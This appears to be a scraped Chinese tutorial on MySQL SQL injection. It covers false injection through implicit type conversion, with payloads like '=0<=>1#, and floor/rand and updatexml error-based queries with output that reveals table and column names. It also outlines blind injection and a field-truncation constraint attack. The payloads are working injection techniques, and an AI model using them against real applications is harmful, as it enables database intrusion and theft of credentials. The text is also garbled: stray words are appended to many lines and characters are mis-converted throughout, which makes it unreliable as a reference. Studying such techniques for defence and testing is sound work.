0x01 False Injection前端
username=0時數據庫會返回數據,嘗試一下使password=0會不會返回一樣的數據。
mysql
空集沒法查詢sql
MYSQL的隱式類型轉換。數據庫
若是兩個參數比較,有至少一個NULL,結果就是NULL,除了是用NULL<=>NULL 會返回1。不作類型轉換安全
兩個參數都是字符串,按照字符串比較。不作類型轉換bash
兩個參數都是整數,按照整數比較。不作類型轉換app
若是不與數字進行比較,則將十六進制值視爲二進制字符串。函數
有一個參數是 decimal 類型,若是另一個參數是 decimal 或者整數,會將整數轉換爲 decimal 後進行比較,若是另一個參數是浮點數,則會把 decimal 轉換爲浮點數進行比較測試
全部其餘狀況下,兩個參數都會被轉換爲浮點數再進行比較spa
舉幾個例子看一下:
能夠看獲得例如6和6aa進行比較的時候 6aa會強制轉換爲6,這時6=6 返回true
username=0會致使返回數據了,就是由於這裏會將數據轉換爲浮點數比較,可是字符串轉換會出問題,從而返回0使得0=0從而爲true獲得結果。
二、利用
算術運算符
實際中咱們接觸到的語句都是帶有引號的,相似於where username='+input+' 這樣的,這時候咱們就須要作一些處理來構造false注入的利用點。
輸入+ 則至關於語句被轉化爲 where username="+"
+,-,*,/,%都是同理。
比較運算符
安全等於:<=>
'=0<=>1# 拼接的語句:where username=''=0<=>1#'
不等於<>(!=)
'=0<>0# 拼接的語句:where username=''=0<>0#'
利用一下這個特色
![](http://static.javashuo.com/static/loading.gif)
兩種狀況均返回true,緣由在於後面存在的亦或表達式會使前面的判斷類型都轉換爲浮點型數據。所以都變爲0。
0x02
注入經常使用函數與字符
這個做爲咱們用來測試的表單。
下面的函數是常常會用到的。
mid()---從文本字段中提取字符
SELECT MID(column_name,start[,length]) FROM table_name;
column_name 必需。要提取字符的字段。
start 必需。規定開始位置(起始值是 1)。
length 可選。要返回的字符數。若是省略,則 MID() 函數返回剩餘文本。
limit()---返回前幾條或者中間某幾行數據
select * from table limit m,n;
其m指記錄始index0始表示第條記錄 n指第m+1條始取n條
concat、concat_ws、group_concat
MySQL的concat函數在鏈接字符串的時候,只要其中一個是NULL,那麼將返回NULL
group_concat([DISTINCT] 要鏈接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
rand隨機數(產生0,1之間隨機數)
報錯注入
基於floor,UpdateXml(有長度限制,最長32位),ExtractValue(有長度限制,最長32位)進行報錯注入。
- 獲取數據庫
select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;
- 獲取數據表
select count(*),concat(0x3a,0x3a,(select table_name from information_sche ma.tables where table_schema=database() limit 3,1),0x3a,floor(rand()*2)) name fr om information_schema.tables group by name;
- 獲取字段
select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
UpdateXml報錯注入
獲取數據表
mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM informatio
n_schema.tables WHERE table_schema=database() limit 3,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~ctf'
獲取字段
mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 4,1)),0); ERROR 1105 (HY000): XPATH syntax error: '~password'mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 3,1)),0); ERROR 1105 (HY000): XPATH syntax error: '~user'
基於布爾盲注
mysql> select table_name from information_schema.tables where table_schema=database() limit 3,1;
limit x,y 是須要進行嘗試的。猜想數據庫
基於時間盲注
基於的原理是,當對數據庫進行查詢操做,若是查詢的條件不存在,語句執行的時間即是0.但每每語句執行的速度很是快,線程信息一閃而過,獲得的執行時間基本爲0。可是若是查詢語句的條件不存在,執行的時間即是0,利用該函數這樣一個特殊的性質,能夠利用時間延遲來判斷咱們查詢的是否存在。這即是SQL基於時間延遲的盲注的工做原理
Mysql約束攻擊
在mysql數據庫中當插入某個字段的值超過了預設的長度,mysql會自動形成截斷。
實例:在數據表中插入'lovehsy' 和 ‘lovehsy '兩條數據。
對比一下二者
雖然在長度方面是不一樣的可是在前端驗證的時候二者會被當成相同的字符串來處理。